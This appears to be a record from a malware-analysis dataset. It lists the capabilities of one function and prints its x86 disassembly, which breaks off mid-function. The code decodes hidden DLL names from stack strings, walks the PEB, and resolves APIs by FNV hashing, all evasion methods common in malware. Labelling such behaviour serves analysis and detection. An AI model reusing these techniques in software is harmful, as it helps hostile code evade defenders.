Function at 0x4c7bf0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Contain obfuscated stackstrings
Encode data using xor
Get kernel32 base address
Get number of processors
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xa28
mov eax, dword [0x568008]
xor eax, esp
mov dword [esp + 0xa24], eax
push esi
push edi
push 0
push 0
push 0
lea ecx, [esp + 0x654]
call fcn.004a25a0
push 0
lea eax, [esp + 0x64c]
push eax
lea eax, [esp + 0x4a4]
push eax
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
push 0x75
lea ecx, [esp + 0x264]
mov byte [esp + 0x264], 0x12
call fcn.004a1910
push 0x73
lea ecx, [esp + 0x264]
mov byte [esp + 0x265], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x264]
mov byte [esp + 0x266], al
call fcn.004a1910
push 0x72
lea ecx, [esp + 0x264]
mov byte [esp + 0x267], al
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x264]
mov byte [esp + 0x268], al
call fcn.004a1910
push 0x32
lea ecx, [esp + 0x264]
mov byte [esp + 0x269], al
call fcn.004a1910
push 0x2e
lea ecx, [esp + 0x264]
mov byte [esp + 0x26a], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x264]
mov byte [esp + 0x26b], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x264]
mov byte [esp + 0x26c], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x264]
mov byte [esp + 0x26d], al
call fcn.004a1910
mov byte [esp + 0x26a], al
xor esi, esi
mov byte [esp + 0x26b], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x265]
call fcn.004a1930
lea ecx, [esp + 0x260]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x265]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 0xa
jb 0x4c7d20
push 0xa
lea ecx, [esp + 0x265]
call fcn.004a1930
lea ecx, [esp + 0x261]
mov byte [eax], 0
call fcn.004a1920
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x24], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x28], eax
cmp eax, esi
je 0x4c7df8
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4c7df8
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [esp + 0x20], eax
dec edi
mov esi, 0x6394e99e
mov al, byte [edx]
inc edx
test al, al
je 0x4c7ded
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4c7dd0
cmp esi, 0x37eab3f0
je 0x4c7dfc
mov eax, dword [esp + 0x20]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4c7db7
mov ecx, dword [ecx]
jmp 0x4c7d90
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
push 0x57
lea ecx, [esp + 0x258]
mov dword [0x568a60], eax
mov byte [esp + 0x258], 0x4f
call fcn.004a1910
push 0x73
lea ecx, [esp + 0x258]
mov byte [esp + 0x259], al
call fcn.004a1910
push 0x32
lea ecx, [esp + 0x258]
mov byte [esp + 0x25a], al
call fcn.004a1910
push 0x5f
lea ecx, [esp + 0x258]
mov byte [esp + 0x25b], al
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x258]
mov byte [esp + 0x25c], al
call fcn.004a1910
push 0x32
lea ecx, [esp + 0x258]
mov byte [esp + 0x25d], al
call fcn.004a1910
push 0x2e
lea ecx, [esp + 0x258]
mov byte [esp + 0x25e], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x258]
mov byte [esp + 0x25f], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x258]
mov byte [esp + 0x260], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x258]
mov byte [esp + 0x261], al
call fcn.004a1910
mov byte [esp + 0x25e], al
xor esi, esi
mov byte [esp + 0x25f], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x259]
call fcn.004a1930
lea ecx, [esp + 0x254]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x259]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 0xa
jb 0x4c7f10
push 0xa
lea ecx, [esp + 0x259]
call fcn.004a1930
lea ecx, [esp + 0x255]
mov byte [eax], 0
call fcn.004a1920
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x24], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x28], eax
cmp eax, esi
je 0x4c7fe8
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4c7fe8
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [esp + 0x20], eax
dec edi
mov esi, 0xddd10150
mov al, byte [edx]
inc edx
test al, al
je 0x4c7fdd
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4c7fc0
cmp esi, 0xa9dda1c2
je 0x4c7fec
mov eax, dword [esp + 0x20]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4c7fa7
mov ecx, dword [ecx]
jmp 0x4c7f80
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
push 0x4d
lea ecx, [esp + 0x120]
mov byte [esp + 0x120], 0x7b
call fcn.004a1910
push 0x35
lea ecx, [esp + 0x120]
mov byte [esp + 0x121], al
call fcn.004a1910
push 0x57
lea ecx, [esp + 0x120]
mov byte [esp + 0x122], al
call fcn.004a1910
push 0x62
lea ecx, [esp + 0x120]
mov byte [esp + 0x123], al
call fcn.004a1910
push 0x6a
lea ecx, [esp + 0x120]
mov byte [esp + 0x124], al
call fcn.004a1910
push 0x76
lea ecx, [esp + 0x120]
mov byte [esp + 0x125], al
call fcn.004a1910
mov byte [esp + 0x122], al
xor esi, esi
mov byte [esp + 0x123], 0
nop
push esi
lea ecx, [esp + 0x121]
call fcn.004a1930
lea ecx, [esp + 0x11c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x121]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4c80a0
push 6
lea ecx, [esp + 0x121]
call fcn.004a1930
lea ecx, [esp + 0x11d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x5ec]
call fcn.004a1bf0
push 0x56
lea ecx, [esp + 0x50]
mov byte [esp + 0x50], 0x28
call fcn.004a1910
push 0x45
lea ecx, [esp + 0x50]
mov byte [esp + 0x51], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x50]
mov byte [esp + 0x52], al
call fcn.004a1910
push 0x5a
lea ecx, [esp + 0x50]
mov byte [esp + 0x53], al
call fcn.004a1910
mov byte [esp + 0x50], al
xor esi, esi
mov byte [esp + 0x51], 0
nop dword [eax]
push esi
lea ecx, [esp + 0x51]
call fcn.004a1930
lea ecx, [esp + 0x4c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x51]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4c8150
push 4
lea ecx, [esp + 0x51]
call fcn.004a1930
lea ecx, [esp + 0x4d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x5ec]
call fcn.004a1a70
push 0x34
lea ecx, [esp + 0xc0]
mov byte [esp + 0xc0], 0x4c
call fcn.004a1910
push 0x78
lea ecx, [esp + 0xc0]
mov byte [esp + 0xc1], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0xc0]
mov byte [esp + 0xc2], al
call fcn.004a1910
push 0x46
lea ecx, [esp + 0xc0]
mov byte [esp + 0xc3], al
call fcn.004a1910
push 0x5a
lea ecx, [esp + 0xc0]
mov byte [esp + 0xc4], al
call fcn.004a1910
mov byte [esp + 0xc1], al
xor esi, esi
mov byte [esp + 0xc2], 0
push esi
lea ecx, [esp + 0xc1]
call fcn.004a1930
lea ecx, [esp + 0xbc]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0xc1]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4c8220
push 5
lea ecx, [esp + 0xc1]
call fcn.004a1930
lea ecx, [esp + 0xbd]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x5ec]
call fcn.004a1a70
lea ecx, [esp + 0x5e8]
call fcn.004a1ba0
push 0x4b
lea ecx, [esp + 0x280]
mov byte [esp + 0x280], 4
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x280]
mov byte [esp + 0x281], al
call fcn.004a1910
push 0x72
lea ecx, [esp + 0x280]
mov byte [esp + 0x282], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x280]
mov byte [esp + 0x283], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x280]
mov byte [esp + 0x284], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x280]
mov byte [esp + 0x285], al
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x280]
mov byte [esp + 0x286], al
call fcn.004a1910
push 0x32
lea ecx, [esp + 0x280]
mov byte [esp + 0x287], al
call fcn.004a1910
push 0x2e
lea ecx, [esp + 0x280]
mov byte [esp + 0x288], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x280]
mov byte [esp + 0x289], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x280]
mov byte [esp + 0x28a], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x280]
mov byte [esp + 0x28b], al
call fcn.004a1910
mov byte [esp + 0x288], al
xor esi, esi
mov byte [esp + 0x289], 0
nop
push esi
lea ecx, [esp + 0x281]
call fcn.004a1930
lea ecx, [esp + 0x27c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x281]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 0xc
jb 0x4c83a0
push 0xc
lea ecx, [esp + 0x281]
call fcn.004a1930
lea ecx, [esp + 0x27d]
mov byte [eax], 0
call fcn.004a1920
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x24], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x28], eax
cmp eax, esi
je 0x4c8478
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4c8478
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [esp + 0x20], eax
dec edi
mov esi, 0xc4a0d1f0
mov al, byte [edx]
inc edx
test al, al
je 0x4c846d
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4c8450
cmp esi, 0xe5c9ffa2
je 0x4c847c
mov eax, dword [esp + 0x20]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4c8437
mov ecx, dword [ecx]
jmp 0x4c8410
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
push 0x66
lea ecx, [esp + 0xc8]
mov dword [0x568a4c], eax
mov byte [esp + 0xc8], 0x3d
call fcn.004a1910
push 0x52
lea ecx, [esp + 0xc8]
mov byte [esp + 0xc9], al
call fcn.004a1910
push 0x79
lea ecx, [esp + 0xc8]
mov byte [esp + 0xca], al
call fcn.004a1910
push 0x54
lea ecx, [esp + 0xc8]
mov byte [esp + 0xcb], al
call fcn.004a1910
push 0x6f
lea ecx, [esp + 0xc8]
mov byte [esp + 0xcc], al
call fcn.004a1910
mov byte [esp + 0xc9], al
xor esi, esi
mov byte [esp + 0xca], 0
nop
push esi
lea ecx, [esp + 0xc9]
call fcn.004a1930
lea ecx, [esp + 0xc4]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0xc9]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4c8520
push 5
lea ecx, [esp + 0xc9]
call fcn.004a1930
lea ecx, [esp + 0xc5]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x7ac]
call fcn.004a1bf0
push 0x30
lea ecx, [esp + 0x30]
mov byte [esp + 0x30], 0x76
call fcn.004a1910
push 0x35
lea ecx, [esp + 0x30]
mov byte [esp + 0x31], al
call fcn.004a1910
push 0x4e
lea ecx, [esp + 0x30]
mov byte [esp + 0x32], al
call fcn.004a1910
push 0x79
lea ecx, [esp + 0x30]
mov byte [esp + 0x33], al
call fcn.004a1910
push 0x38
lea ecx, [esp + 0x30]
mov byte [esp + 0x34], al
call fcn.004a1910
push 0x43
lea ecx, [esp + 0x30]
mov byte [esp + 0x35], al
call fcn.004a1910
push 0x66
lea ecx, [esp + 0x30]
mov byte [esp + 0x36], al
call fcn.004a1910
push 0x54
lea ecx, [esp + 0x30]
mov byte [esp + 0x37], al
call fcn.004a1910
mov cl, byte [esp + 0x2c]
xor byte [esp + 0x2d], cl
xor al, cl
xor byte [esp + 0x2e], cl
xor byte [esp + 0x2f], cl
xor byte [esp + 0x30], cl
xor byte [esp + 0x31], cl
xor byte [esp + 0x32], cl
xor byte [esp + 0x33], cl
lea ecx, [esp + 0x528]
mov byte [esp + 0x35], 0
mov byte [esp + 0x34], al
mov byte [esp + 0x35], 0
call fcn.004a2370
lea ecx, [esp + 0x2d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c8640
sub ecx, edx
lea eax, [esp + 0x2d]
push ecx
push eax
lea ecx, [esp + 0x530]
call fcn.004a2240
mov ch, 0x5a
mov byte [esp + 0x349], 0
mov al, 0x39
mov byte [esp + 0x344], ch
mov ah, 0x68
mov byte [esp + 0x349], 0
xor al, ch
xor ah, ch
mov cl, 0x3c
mov byte [esp + 0x345], al
xor cl, ch
mov byte [esp + 0x348], ah
mov dl, 0x13
mov byte [esp + 0x346], cl
xor dl, ch
lea eax, [esp + 0x345]
push eax
lea ecx, [esp + 0x52c]
mov byte [esp + 0x34b], dl
call fcn.004a2330
test al, al
je 0x4c87a4
push 0x74
lea ecx, [esp + 0xd0]
mov byte [esp + 0xd0], 0x22
call fcn.004a1910
push 0x31
lea ecx, [esp + 0xd0]
mov byte [esp + 0xd1], al
call fcn.004a1910
push 0x39
lea ecx, [esp + 0xd0]
mov byte [esp + 0xd2], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0xd0]
mov byte [esp + 0xd3], al
call fcn.004a1910
push 0x45
lea ecx, [esp + 0xd0]
mov byte [esp + 0xd4], al
call fcn.004a1910
mov byte [esp + 0xd1], al
xor esi, esi
mov byte [esp + 0xd2], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0xd1]
call fcn.004a1930
lea ecx, [esp + 0xcc]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0xd1]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4c8740
push 5
lea ecx, [esp + 0xd1]
call fcn.004a1930
lea ecx, [esp + 0xcd]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x52c]
call fcn.004a1aa0
lea ecx, [esp + 0x528]
call fcn.004a1ba0
lea ecx, [esp + 0x7a8]
call fcn.004a1ba0
mov cl, 0x59
mov dword [esp + 0x334], 0x3c310a59
mov dword [esp + 0x338], 0x6b6a3535
xor eax, eax
mov dword [esp + 0x33c], 0x35353d77
mov byte [esp + 0x340], 0
nop dword [eax]
xor byte [esp + eax + 0x335], cl
inc eax
cmp eax, 0xb
jae 0x4c8806
mov cl, byte [esp + 0x334]
jmp 0x4c87f0
mov eax, dword fs:[0x30]
mov byte [esp + 0x340], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c8888
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c8888
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0x94e73fb2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c887d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c8860
cmp esi, 0xa9137e04
je 0x4c888c
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c8847
mov eax, dword [eax]
jmp 0x4c8820
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [esp + 0x335]
add eax, edx
push ecx
call eax
mov cl, 0x4c
mov dword [esp + 0x324], 0x25280b4c
mov dword [esp + 0x328], 0x3f39203c
xor eax, eax
mov dword [esp + 0x32c], 0x20202862
mov byte [esp + 0x330], 0
xor byte [esp + eax + 0x325], cl
inc eax
cmp eax, 0xb
jae 0x4c88f6
mov cl, byte [esp + 0x324]
jmp 0x4c88e0
mov eax, dword fs:[0x30]
mov byte [esp + 0x330], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c8978
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c8978
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0x360c86e6
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c896d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c8950
cmp esi, 0xa518ef88
je 0x4c897c
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c8937
mov eax, dword [eax]
jmp 0x4c8910
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [esp + 0x325]
add eax, edx
push ecx
call eax
push 0x68
lea ecx, [esp + 0x2b4]
mov word [esp + 0x2b4], 0x2266
mov byte [esp + 0x2b6], 0x1f
call fcn.004a1910
push 0x53
lea ecx, [esp + 0x2b4]
mov byte [esp + 0x2b7], al
call fcn.004a1910
push 0x46
lea ecx, [esp + 0x2b4]
mov byte [esp + 0x2b8], al
call fcn.004a1910
push 0x4e
lea ecx, [esp + 0x2b4]
mov byte [esp + 0x2b9], al
call fcn.004a1910
mov byte [esp + 0x2b6], al
xor esi, esi
mov byte [esp + 0x2b7], 0
push esi
lea ecx, [esp + 0x2b5]
call fcn.004a1930
lea ecx, [esp + 0x2b0]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x2b5]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4c8a13
push 6
lea ecx, [esp + 0x2b5]
call fcn.004a1930
lea ecx, [esp + 0x2b1]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x65c]
call fcn.004a1bf0
push 0x31
lea ecx, [esp + 0xd8]
mov byte [esp + 0xd8], 0x67
call fcn.004a1910
push 0x71
lea ecx, [esp + 0xd8]
mov byte [esp + 0xd9], al
call fcn.004a1910
push 0x75
lea ecx, [esp + 0xd8]
mov byte [esp + 0xda], al
call fcn.004a1910
push 0x34
lea ecx, [esp + 0xd8]
mov byte [esp + 0xdb], al
call fcn.004a1910
push 0x6a
lea ecx, [esp + 0xd8]
mov byte [esp + 0xdc], al
call fcn.004a1910
mov byte [esp + 0xd9], al
xor esi, esi
mov byte [esp + 0xda], 0
push esi
lea ecx, [esp + 0xd9]
call fcn.004a1930
lea ecx, [esp + 0xd4]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0xd9]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4c8af2
push 5
lea ecx, [esp + 0xd9]
call fcn.004a1930
lea ecx, [esp + 0xd5]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x604]
call fcn.004a1bf0
push 0x67
lea ecx, [esp + 0x128]
mov byte [esp + 0x128], 2
call fcn.004a1910
push 0x4f
lea ecx, [esp + 0x128]
mov byte [esp + 0x129], al
call fcn.004a1910
push 0x4a
lea ecx, [esp + 0x128]
mov byte [esp + 0x12a], al
call fcn.004a1910
push 0x73
lea ecx, [esp + 0x128]
mov byte [esp + 0x12b], al
call fcn.004a1910
push 0x50
lea ecx, [esp + 0x128]
mov byte [esp + 0x12c], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x128]
mov byte [esp + 0x12d], al
call fcn.004a1910
mov byte [esp + 0x12a], al
xor esi, esi
mov byte [esp + 0x12b], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x129]
call fcn.004a1930
lea ecx, [esp + 0x124]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x129]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4c8bf0
push 6
lea ecx, [esp + 0x129]
call fcn.004a1930
lea ecx, [esp + 0x125]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x604]
call fcn.004a1a70
push 0x39
lea ecx, [esp + 0x130]
mov byte [esp + 0x130], 0x4a
call fcn.004a1910
push 0x48
lea ecx, [esp + 0x130]
mov byte [esp + 0x131], al
call fcn.004a1910
push 0x42
lea ecx, [esp + 0x130]
mov byte [esp + 0x132], al
call fcn.004a1910
push 0x78
lea ecx, [esp + 0x130]
mov byte [esp + 0x133], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x130]
mov byte [esp + 0x134], al
call fcn.004a1910
push 0x4f
lea ecx, [esp + 0x130]
mov byte [esp + 0x135], al
call fcn.004a1910
mov byte [esp + 0x132], al
xor esi, esi
mov byte [esp + 0x133], 0
nop dword [eax]
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x131]
call fcn.004a1930
lea ecx, [esp + 0x12c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x131]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4c8cf0
push 6
lea ecx, [esp + 0x131]
call fcn.004a1930
lea ecx, [esp + 0x12d]
mov byte [eax], 0
call fcn.004a1920
lea edx, [esp + 0x600]
mov ecx, eax
call fcn.004a2100
test al, al
je 0x4c8e66
push 0x44
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x1d4], 0x76
call fcn.004a1910
push 0x49
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x1d5], al
call fcn.004a1910
push 0x74
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x1d6], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x1d7], al
call fcn.004a1910
push 0x70
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x1d8], al
call fcn.004a1910
push 0x54
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x1d9], al
call fcn.004a1910
push 0x44
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x1da], al
call fcn.004a1910
mov byte [esp + 0x1d7], al
xor esi, esi
mov byte [esp + 0x1d8], 0
push esi
lea ecx, [esp + 0x1d5]
call fcn.004a1930
lea ecx, [esp + 0x1d0]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x1d5]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x4c8e02
push 7
lea ecx, [esp + 0x1d5]
call fcn.004a1930
lea ecx, [esp + 0x1d1]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x65c]
call fcn.004a1aa0
lea ecx, [esp + 0x600]
call fcn.004a1ba0
lea ecx, [esp + 0x658]
call fcn.004a1ba0
push 0x47
lea ecx, [esp + 0x240]
mov byte [esp + 0x240], 0x47
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x240]
mov byte [esp + 0x241], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x240]
mov byte [esp + 0x242], al
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x240]
mov byte [esp + 0x243], al
call fcn.004a1910
push 0x32
lea ecx, [esp + 0x240]
mov byte [esp + 0x244], al
call fcn.004a1910
push 0x2e
lea ecx, [esp + 0x240]
mov byte [esp + 0x245], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x240]
mov byte [esp + 0x246], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x240]
mov byte [esp + 0x247], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x240]
mov byte [esp + 0x248], al
call fcn.004a1910
mov byte [esp + 0x245], al
xor esi, esi
mov byte [esp + 0x246], 0
nop dword [eax]
push esi
lea ecx, [esp + 0x241]
call fcn.004a1930
lea ecx, [esp + 0x23c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x241]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 9
jb 0x4c8f50
push 9
lea ecx, [esp + 0x241]
call fcn.004a1930
lea ecx, [esp + 0x23d]
mov byte [eax], 0
call fcn.004a1920
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x24], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x28], eax
cmp eax, esi
je 0x4c9028
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4c9028
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [esp + 0x20], eax
dec edi
mov esi, 0x606a3871
mov al, byte [edx]
inc edx
test al, al
je 0x4c901d
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4c9000
cmp esi, 0xb6f8b13b
je 0x4c902c
mov eax, dword [esp + 0x20]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4c8fe7
mov ecx, dword [ecx]
jmp 0x4c8fc0
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
